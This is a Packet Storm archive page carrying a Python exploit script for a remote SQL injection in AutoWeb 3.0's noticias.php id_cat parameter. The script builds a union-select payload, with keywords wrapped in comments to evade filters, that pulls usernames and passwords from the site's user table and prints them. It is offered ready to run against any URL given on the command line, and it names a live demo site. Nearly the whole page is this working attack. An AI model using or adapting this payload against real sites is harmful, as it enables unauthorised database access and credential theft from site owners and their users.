exploit the possibilities

AutoWeb 3.0 SQL Injection

AutoWeb 3.0 SQL Injection
Posted Oct 5, 2014
Authored by ZoRLu

AutoWeb version 3.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 5e4f8e0fc92844858189874aa0a37055

AutoWeb 3.0 SQL Injection

Change Mirror Download
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Title : AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home : http://milw00rm.com / its online
# Download : http://www.multdivision.com.br
# Demo : http://www.cbnmogi.com.br
# Other Vuln. : http://www.1337day.com/exploit/22697 / thks: Felipe Andrian Peixoto
# date : 28/09/2014
# Python : V 2.7
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

import sys, urllib2, re, os, time

if len(sys.argv) < 2:
os.system(['clear','cls'][1])
print " ____________________________________________________________________"
print "| |"
print "| AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit |"
print "| ZoRLu / milw00rm.com |"
print "| exploit.py http://site.com/path/ |"
print "|____________________________________________________________________|"
sys.exit(1)

koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]

if sitemiz[-1:] != koykicina:
sitemiz += koykicina

if sitemiz[:7] != koybasina:
sitemiz = koybasina + sitemiz

vulnfile = "noticias.php"
sql = "?id_cat=0x90+/*!12345union*/+/*!12345select*/+1,concat(0x3a3a3a,username,0x3a3a3a),concat(0x3b3b3b,senha,0x3b3b3b),4,5,6,7,8,9,10+/*!12345from*/+/*!12345user*/--"
url = sitemiz + vulnfile + sql

print "\nExploiting...\n"

try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
if len(aliver) > 0:
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
else:
print "Exploit failed..."


except urllib2.HTTPError:
print "Security!"


try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
if len(aliver) > 0:
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]

print "\nGood Job Bro!"
else:
print "Exploit failed..."


except urllib2.HTTPError:
print "Security!"
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    14 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close